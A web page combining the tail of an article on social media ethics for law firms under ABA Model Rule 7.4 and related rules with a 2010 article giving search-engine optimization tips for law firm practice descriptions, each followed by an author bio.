Get Marketing/ PR departments involved when responding to certain inaccurate, accusatory or negative comments about the firm or any firm clients.
Expertise (Model Rule of Professional Conduct 7.4)
Quick Reference
Do
Allow recommendations.
Review and monitor all recommendations carefully.
Edit or hide recommendations as needed to remove any verbiage that states you are “better”, “the best”, “expert”, “specialized” or “certified”.
Do NOT
Be false or misleading in online credentials.
Use the words “better” or “the best” in credentials or when recommending others.
Use the verbiage “expert”, “specialist” or “certified” to describe experience unless certified by an organization that is accredited by the ABA or the state bar.
Many lawyers are considered experts or specialists by their peers in select areas of law. However, using the expert designation can only be done with appropriate approval. Model Rule of Professional Conduct 7.4 generally states that a lawyer may communicate the fact that the lawyer does or does not practice in particular fields of law. In addition, a lawyer may promote the engagement in specific areas of practice. However, a lawyer shall NOT state or imply that a lawyer is an expert or a certified specialist unless the lawyer has been certified by an organization that is accredited by the ABA or the state bar.
This model rule affects the use of credentials and recommendations on social media sites. What are the key areas to include in law firm policies?
Employees should never be false and misleading in online credentials. All employees should maintain complete accuracy in all online bios and ensure no embellishment.
Recommendations should be used carefully. Employees should review all recommendations created for them for any embellishment (i.e. use of the words better or best) expertise, certification or specialization listing. Edit or hide recommendations as needed.
Employees should not include the words “expert”, “certified”, or “specialized” in their credentials unless authorized to do so.
Expertise and specialization is heavily regulated at the state level. Some states have gone further in their restricted verbiage. State rules of ethics should be reviewed prior to any policy drafting.
General Communications (Model Rule of Professional Conduct 7 Series)
The final social media ethics concern revolves around general law firm and lawyer communication. In personal and especially professional communication, all communications must be truthful and accurate.
Quick Reference
Do
Credit appropriately
Fact check
Spell & grammar check
Correct errors promptly
Be transparent
Follow firm policies
Obey the law
Do NOT
Personally attack, become involved in an online fights or hostile communication.
Solicit or use commercial speech. The content must be informative only. Nothing should propose a commercial transaction
Law firms and law departments should consider the following general policy guidelines when drafting social media policies.
Identify all copyrighted or borrowed material with citations and links. When publishing any material online that includes another’s direct or paraphrased quotes, thoughts, ideas, photos, or videos, always give credit to the original material or author, where applicable.
Ensure material is accurate, truthful, and without factual error prior to posting.
Spell and grammar check everything.
Correct any mistakes promptly.
When participating social media sites in a professional manner, disclose identity and any firm affiliation. Never use a false name, alias, or be anonymous. Many courts have looked poorly on law firms and lawyers using alias names while on social media sites.
Follow all firm policies and procedures regarding online communications. Be respectful and do not make statements that are defamatory; racially, sexually, or otherwise insensitive or offensive; or otherwise improper or likely to conflict with the interests of the firm, its employees, clients, affiliates and others, including competitors.
Follow the site’s terms and conditions of use.
Do not post any information or conduct any online activity that may violate applicable local, state or federal laws or regulations.
Avoid personal attacks, online fights, and hostile communications.
Employees should never solicit or use commercial speech. Employees should not use a site as a way to directly solicit business for the firm. While a blog itself is not subject to the limitation on commercial speech, the content of a blog can be. The content must be informative only, and nothing in the content should propose a commercial transaction or be for the purpose of directly gaining a commercial transaction.
Conclusion
As discussed in this article, there are many ethical considerations when law firms and their employees decided to use social media sites. Similar to email emerging as the main form of business communication ten (10) years ago, social media is now the communication wave of the future. This new format is how the next generation of leaders presently lives and communicates day to day. The legal community must embrace the new technology and the opportunity to educate employees.
[1] Model Rules of Professional Conduct are professional standards that serve as models of the regulatory law governing the legal profession. However, each state board of professional responsibility has additional or supplemental states rules of ethics. State rules should be considered prior to policy drafting.
Meredith L. Williams is Baker Donelson’s Director of Knowledge Management. Although trained as a lawyer, she is not actively engaged in the practice of law. Instead, she oversees BakerNet, the Firm’s industry-leading intranet, and coordinates strategic growth on behalf of the Firm in knowledge management, competitive intelligence and technology. Ms. Williams is widely recognized as a leading authority in knowledge management issues for the legal field, and is a frequent presenter and author on knowledge management and competitive intelligence.
Ms. Williams is a member of the Association of Women Attorneys and the American, Tennessee and Memphis Bar Associations. In addition, Ms. Williams is Conference Vice President for the International Legal Technology Association 2010-2011. She is a recipient of the Dean’s Distinguished Service Award from the University Of Memphis Cecil C. Humphreys School Of Law for her volunteer work. 901-577-2353 / www.BakerDonelson.com
Originally posted on the National Law Review and in the LMA Virginia newsletter and contributed by Lauren Hum of Hunton & Williams LLP – some quick tips for SEOing practice descriptions on law firm’s websites:
Differentiating your firm’s legal services from those of another firm is one of the basic tenants of legal marketing. Many firms offer the same general legal practices that directly compete with other firms for the top spots in legal rankings and search engine results. Fortunately, search engines are predictable creatures that use objective measurements to determine in what order websites are ranked. Below are a few suggestions on how to craft the most effective practice description in order to maximize search engine visibility.
Long-tail Keywords. Each practice has key phrases, usually names of specific laws or regulations, that are unique to that particular practice. It is important to identify these industry-specific keywords and include them in an appropriate place within the practice description. Using long-tailed keywords, such as “EU data protection directive,” will have the added benefit of generating traffic from visitors who have in-depth knowledge about the specific industry as opposed to more generic keywords, such as “climate change,” that will cast a wide and rather ambiguous net.
Keyword Variation. Some practices, like international arbitration, have standardized names that are used universally by almost all firms who offer that practice area. Other practices have different names that describe the same general practice area. For example, a practice may be called “Business Restructuring & Reorganization” at one firm and “Bankruptcy, Restructuring & Creditors’ Rights” at another. Even if there might be slight distinctions in their niche expertise, they are generally targeting the same sector of the legal community. Although the name of the practice should remain consistent throughout the description, not including other commonly searched alternative forms of the practice within the text will limit your reach.
Inbound Links. One of most powerful ways to raise a practice area’s search engine rank is to increase the number of inbound links to the practice description. The more links that lead to your content, the more weight search engines will give to the ranking, and the more traffic will be directed to your practice area description. There are many opportunities to place a link to a practice description on your current material, including blogs, client alerts, and other related practices.
Intelligent Design. Search engines use header, sub header, bullet, and boldface tags to determine the content of a webpage. Using these elements to structure practice area descriptions will not only make your content more comprehensible to search engines, but also present your information more effectively to website visitors.
Consider the Medium. Practice descriptions used for the website should not be the same length as practice descriptions used in proposals and other print materials. By using a practice area description that spans several pages, you are inadvertently sabotaging its chances of appearing in search results. Search engines use complex algorithms that calculate the frequency of keywords divided by the overall length of the content and thus long practice descriptions will dilute the keywords you use to categorize your law practice.
While incorporating any one of these elements into your practice’s website description will be beneficial, it is critical to keep in mind that effective SEO is dependent upon multiple components that work in unison to produce the desired effect. Furthermore, many of these recommendations can be extrapolated to attorney biographies, as they are another opportunity to distinguish your firm from the competition.
DISCLAIMER. The views expressed in this article are those of the author and do not necessarily reflect the views of Hunton & Williams LLP.
Originally published in the Summer 2010 issue of LMA Practice Marketing Newsletter Copyright 2010 Legal Marketing Association –The Virginias Chapter.
Authored By Lauren Hum:
Lauren Hum is a Marketing Technology Specialist at Hunton & Williams LLP and lives in Richmond, Virginia. Ms. Hum is a Communications & Technology committee member for the Legal Marketing Association’s Virginia Chapter and a board member for the William & Mary Richmond Alumni Chapter.
